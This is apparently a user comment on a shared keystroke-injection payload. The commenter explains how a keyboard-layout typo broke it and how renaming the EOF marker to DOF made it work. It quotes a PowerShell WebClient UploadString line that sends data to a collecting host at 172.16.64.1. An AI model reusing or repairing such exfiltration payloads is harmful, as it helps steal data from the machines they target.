First off all, Thanks for the great payload,
Secondly, unfortenately at first it didn't work, So after putting a pause in the payload I could see why it didn't work.
The powershell command creates a typo (i quess it has to do with the keyboard layout),look at the end where the name of the file creates ÉOF instead of 'EOF'
part of the output: ew-Object Net.WebClient).UploadString('http://172.16.64.1/EOF',ÉOF');
So I solved the problem by changing all the file names EOF into DOF. That way the payload creates a file 'DOF' and works create.
Also change the name In the file server.py ( EOF in DOF), change it in whatever you like but avoid the letter E and A sinds É also exists
I would suggest to change it in the original payload? Since more people use a US keyboardlayout.
Anyway Thanks for the payload and keep up the good work!